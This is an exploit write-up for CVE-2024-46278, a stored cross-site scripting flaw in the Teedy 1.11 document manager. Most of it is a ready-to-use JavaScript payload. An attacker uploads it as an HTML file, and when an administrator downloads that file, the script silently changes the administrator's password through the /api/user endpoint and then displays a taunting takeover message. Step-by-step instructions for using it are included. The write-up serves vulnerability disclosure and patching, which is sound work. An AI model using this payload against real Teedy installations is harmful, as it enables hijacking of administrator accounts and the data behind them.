📄 Teedy 1.11 Cross Site Scripting

# Exploit Title: Teedy 1.11 - Account Takeover via Stored Cross-Site Scripting (XSS)
    # Exploit Author: Ayato Shitomi @ Fore-Z co.ltd
    # Demo Video: https://www.youtube.com/watch?v=udQgVogsmhA
    # Vendor Homepage: https://teedy.io/
    # Software Link: https://github.com/Tomblib0/Teedy
    # Version: 1.11
    # Tested on: Linux
    # CVE : CVE-2024-46278
    
    There is a vulnerability that causes XSS when downloading files.
    XSS vulnerability could allow a Teedy administrator to rob an account with a few clicks.
    
    
    Login as an attacker’s account.
    Upload this file as html type. You have to change “Origin” and “Referer” and argument for fetch in need.
    
    ```
    <script>
    const currentCookie = document.cookie;
    
    const requestOptions = {
      method: 'POST',
      headers: {
        'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
        'Accept': 'application/json, text/plain, */*',
        'Cookie': currentCookie,
        'sec-ch-ua': '"Not_A Brand";v="8", "Chromium";v="120"',
        'sec-ch-ua-mobile': '?0',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36',
        'sec-ch-ua-platform': '"Linux"',
        'Origin': 'http://localhost:8080',
        'Sec-Fetch-Site': 'same-origin',
        'Sec-Fetch-Mode': 'cors',
        'Sec-Fetch-Dest': 'empty',
        'Referer': 'http://localhost:8080/',
        'Accept-Encoding': 'gzip, deflate, br',
        'Accept-Language': 'en-US,en;q=0.9'
      },
      body: 'password=superSecure2&passwordconfirm=superSecure2'
    };
    
    fetch('http://localhost:8080/api/user', requestOptions)
      .then(response => {
        if (!response.ok) {
          throw new Error('Network response was not ok');
        }
            document.write('<h1>Your account was taken over by the attacker LOL</h1>');
        return response.json();
      })
      .then(data => console.log(data))
      .catch(error => console.error('There was a problem with your fetch operation:', error));
    </script>
    ```
    
    Login with another account. eg. admin
    Click on the file uploaded by the attacker and select Download this file.